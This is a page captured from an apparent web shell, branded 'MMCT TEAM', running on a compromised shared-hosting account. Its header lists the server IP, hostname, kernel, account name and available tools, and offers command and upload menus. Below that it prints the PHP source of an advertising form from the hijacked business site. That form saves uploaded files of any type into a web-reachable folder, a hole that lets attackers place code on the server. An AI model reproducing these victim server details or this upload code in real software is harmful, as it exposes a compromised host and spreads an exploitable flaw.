MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/eventsbyshubhchintak/vendor/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/eventsbyshubhchintak/vendor/advertise.php
<!DOCTYPE html>
<html lang="en">

<head>
	<?php
include 'includes/db-conn.inc.php';
 include'includes/head.php'; ?>
<script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/sweetalert/1.1.3/sweetalert.min.css">
</head>

<body>
	<div id="preloader">
		<div id="status">&nbsp;</div>
	</div>
	<!--TOP SEARCH SECTION-->
	<?php include'includes/header.php'; ?>
	<section class="dir-pa-sp-top dir-pa-sp-top-bg">
		<div class="container">
			<div class="row com-padd">
				<div class="col-md-6">
					<div class="hom-cre-acc-left">
						<h3>Post your AD and Birthday wishes with Agra Search.</h3>
						<p>Get the TOP POSITION, place your AD with a Local Online Directory</p>
						<ul>
							<li> <img src="images\icon\7.png" alt="">
								<div>
									<h5>Grow Your Business Fast</h5>
									<p>Imagine you have made your presence online through a local online directory, but your competitors have..</p>
								</div>
							</li>
							<li> <img src="images\icon\5.png" alt="">
								<div>
									<h5>Get the top position</h5>
									<p>Advertising your business to area specific has many advantages. For local businessmen, it is an opportunity..</p>
								</div>
							</li>
							<li> <img src="images\icon\6.png" alt="">
								<div>
									<h5>Develop Brand Image</h5>
									<p>Your local business too needs brand management and image making. As you know the local market..</p>
								</div>
							</li>
							<li> <img src="images\icon\7.png" alt="">
								<div>
									<h5>Trusted Brand</h5>
									<p>Imagine you have made your presence online through a local online directory, but your competitors have..</p>
								</div>
							</li>
						</ul>
					</div>
				</div>
				<div class="col-md-6">
					<div class="hom-cre-acc-left hom-cre-acc-right">
						<div class="">
							<form method="post" enctype="multipart/form-data">
								<div class="row">
									<div class="input-field col s12">
										<input id="first_name" type="text" class="validate" required="" name="txtusername">
										<label for="first_name">Full Name *</label>
									</div>
								</div>
								<div class="row">
									<div class="input-field col s12">
										<input id="list_name" type="text" class="validate" name="txtbusinessname">
										<label for="list_name">Business Name (if any)</label>
									</div>
								</div>
	
								<div class="row">
									<div class="input-field col s12">
										<input id="list_phone" type="text" class="validate" name="txtuserid" style="text-transform: uppercase;">
										<label for="list_phone">User ID (Hind Search Business list ID if any)</label>
									</div>
								</div>
									<div class="row">
									<div class="input-field col s12">
										<input id="list_phone" type="text" class="validate" required="" name="txtmobile">
										<label for="list_phone">Phone *</label>
									</div>
						
								</div>
								<div class="row">
									<div class="input-field col s12">
										<input id="email" type="email" name="txtemail" class="validate">
										<label for="email">Email</label>
									</div>
								</div>
								<div class="row">
									<div class="input-field col s12">
										<input id="list_addr" type="text" name="txtaddress" class="validate" required="">
										<label for="list_addr">Address *</label>
									</div>
								</div>
								<div class="row">
									<div class="input-field col s12">
										<textarea id="textarea1" name="txtmsg" class="materialize-textarea" style="height: 74px;"></textarea>
										<label for="textarea1">Message </label>
									</div>
								</div>
								<div class="row">
									<div class="db-v2-list-form-inn-tit">
											<h5 style="margin-top: 6px;">Cover Image <span class="v2-db-form-note">(AD image size 640x360 )<span></span></span></h5>
										</div>
									<div class="input-field col s12">
										<div class="file-field input-field" style="margin-top: -2px;">
											<div class="tz-up-btn"> <span>File</span>
												<input type="file" type="file" name="image" required=""> </div>
											<div class="file-path-wrapper db-v2-pg-inp">
												<input class="file-path validate" type="text"> 
											</div>
										</div>
									</div>
								</div>
								<div class="row">
									<div class="input-field col s12">
									 <input class="btn btn-default" style="background-color: #f74d40;color: white"  value="Submit" name="advertise" type="submit">
									</div>
								</div>
							</form>
						</div>
					</div>
				</div>
			</div>
		</div>
	</section>
	<!--MOBILE APP-->

	<!--FOOTER SECTION-->
<?php include'includes/footer.php'; ?>
	
	<!--SCRIPT FILES-->
	<script src="js\jquery.min.js"></script>
	<script src="js\bootstrap.js" type="text/javascript"></script>
	<script src="js\materialize.min.js" type="text/javascript"></script>
	<script src="js\custom.js"></script>
</body>

</html>

<?php 

 if(isset($_POST['advertise']))
{
   
   $email = mysqli_real_escape_string($conn,$_POST['txtemail']); 
   $name=mysqli_real_escape_string($conn,$_POST['txtusername']);
   $businessname=mysqli_real_escape_string($conn,$_POST['txtbusinessname']);
   $msg=mysqli_real_escape_string($conn,$_POST['txtmsg']);
   $mobile=mysqli_real_escape_string($conn,$_POST['txtmobile']);
   $userid=mysqli_real_escape_string($conn,$_POST['txtuserid']);
   $address=mysqli_real_escape_string($conn,$_POST['txtaddress']);
   
   date_default_timezone_set("Asia/Kolkata");
   $date=date("Y-m-d");
  
    $img =$_FILES['image']['name'];
    $temp=$_FILES['image']['tmp_name'];
    $no = rand(1,999);
    $newfile1=$no.$img;
    move_uploaded_file($temp, "media/advertiseAndWish/$newfile1");


          $sql="insert into tbl_advertise(name,businessname,email,mobile,userid,address,image,date,msg) values('$name','$businessname','$email','$mobile','$userid','$address','$newfile1','$date','$msg')"; 


              if(mysqli_query($conn,$sql) or die (mysqli_error($conn)))
                 {
                  ?>
        
                   <script>
                     swal({
                            title: "Thank You !",
                            text: "Successfully Done.",
                            type: "Success"
                        });
                   </script> <?php 

                 }
                

  }  

  

?>

MMCT - 2023